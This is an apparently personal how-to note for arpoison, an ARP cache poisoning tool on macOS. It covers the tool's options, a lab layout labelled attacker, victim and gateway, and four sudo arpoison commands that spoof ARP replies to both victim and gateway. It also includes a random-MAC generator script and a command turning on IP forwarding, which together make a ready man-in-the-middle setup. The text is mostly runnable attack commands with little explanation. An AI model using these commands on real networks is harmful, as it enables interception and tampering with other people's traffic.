arpoison -- arp cache update utility
安裝
shell> brew install arpoison
arpoison
-i Device e.g. eth0
-d Destination IP address in dotted decimal notation.
-s Source IP address in dotted decimal notation
-t Target MAC address e.g. 00:f3:b2:23:17:f5
-r Source MAC address
-a Send ARP REQUEST
-n Number of packets to send
-w Time in seconds between packets
Usage: -i <device> -d <dest IP> -s <src IP> -t <target MAC> -r <src MAC> [-a] [-w time between packets] [-n number to send]
attacker 192.168.11.3 a0:99:9b:08:cb:87
victim 192.168.11.2 fc:aa:14:b4:4c:18
gateway 192.168.11.1 78:44:76:f8:ec:38
macgen 00:16:3e:20:b0:11
shell> sudo arpoison -i en0 -d 192.168.11.2 -s 192.168.11.1 -t fc:aa:14:b4:4c:18 -r 00:16:3e:20:b0:11
shell> sudo arpoison -i en0 -d 192.168.11.2 -s 192.168.11.1 -t ff:ff:ff:ff:ff:ff -r 00:16:3e:20:b0:11
shell> sudo arpoison -i en0 -d 192.168.11.1 -s 192.168.11.2 -t ff:ff:ff:ff:ff:ff -r fc:aa:14:b4:4c:18
shell> sudo arpoison -i en0 -d 192.168.11.1 -s 192.168.11.2 -t 78:44:76:f8:ec:38 -r fc:aa:14:b4:4c:18
shell> ./macgen.py
00:16:3e:20:b0:11
#!/usr/bin/python
# macgen.py script to generate a MAC address for Red Hat Virtualization guests
#
import random
#
def randomMAC():
mac = [ 0x00, 0x16, 0x3e,
random.randint(0x00, 0x7f),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff) ]
return ':'.join(map(lambda x: "%02x" % x, mac))
#
print randomMAC()
pfctl
shell> sysctl -w net.inet.ip.forwarding=1
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